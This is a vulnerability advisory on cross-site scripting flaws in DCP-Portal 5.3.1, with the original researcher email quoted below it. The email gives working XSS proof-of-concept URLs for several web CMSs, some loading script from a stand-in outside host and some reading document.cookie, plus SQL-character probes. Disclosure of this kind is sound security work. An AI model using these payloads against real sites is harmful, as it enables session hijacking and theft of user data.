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Category:   Application (Forum/Board/Portal)  >   DCP-Portal Vendors:   Dotcom-Projects.com
DCP-Portal Input Validation Flaw Lets Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1006351
SecurityTracker URL:  http://securitytracker.com/id/1006351
CVE Reference:   CVE-2004-2511   (Links to External Site)
Updated:  Jul 7 2008
Original Entry Date:  Mar 20 2003
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 5.3.1
Description:   An input validation vulnerability was reported in DCP-Portal in 'search.php' and 'calendar.php'. A remote user can conduct cross-site scripting attacks.

Olympos Security reported that the software does not properly filter HTML from user-supplied input when displaying pages containing that input.

A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running DCP-Portal and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/search.php?fields=content&q=<script%20src=http://othersite/code.js></script>
http://[target]/calendar.php?year=<script>alert(document.cookie);</script>&month=03&day=05

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running DCP-Portal, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.dcp-portal.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  Some XSS vulns


While searching for a CMS for my site I found out the following:

ezPublish 2.2.7
http://target/search/?SectionIDOverride=1&SearchText=<script>alert(document.cookie);</script>
also when entered an URL like
http://target/<script>alert('test')</script> and site admin checks
latest served URLs the script will run
Vendor Site: http://www.ez.no

DCP-Portal v5.3.1
http://target/search.php?fields=content&q=<script%20src=http://othersite/code.js></script>
http://target/calendar.php?year=<script>alert(document.cookie);</script>&month=03&day=05
Vendor Site: http://www.dcp-portal.org

Nuked-klan 1.3b
it doesn work if it starts with <script but by adding a "> the script will run
http://target/index.php?file=Liens&op="><script>alert('test');</script>
Vendor Site: http://www.nuked-klan.org

Siteframe 2.2.4
Same "> issue here
http://target/search.php?searchfor="><script>alert('test');</script>
http://target/download.php?id=2%  (shows some info)
Vendor Site: http://www.siteframe.org

Mambo Site Server 4.0 build 10
http://target/index.php?option=search&searchword=<script>alert(document.cookie);</script>
Vendor Site: http://www.mamboserver.com

Basit cms 1.0
Content module: // Some sql chars and unwanted behaviour (loop->DoS?)
http://target/modules/Content/?op=sec&s=--
http://target/modules/Content/?op=sec&s='
http://target/modules/Content/?op=sec&s=;
Submit module:
http://target/modules/Submit/index.php?op=pre&title=<script%20src="http://othersite/code.js">test</script>
http://target/modules/Submit/index.php?op=pre&title=<script>alert(document.cookie);</script>
Search module:
http://target/modules/Search/index.php?q="><script+src=http://othersite/code.js></script>&op=search
Vendor Site: http://basitonline.com

Ertan Kurt
Olympos Security

 
 


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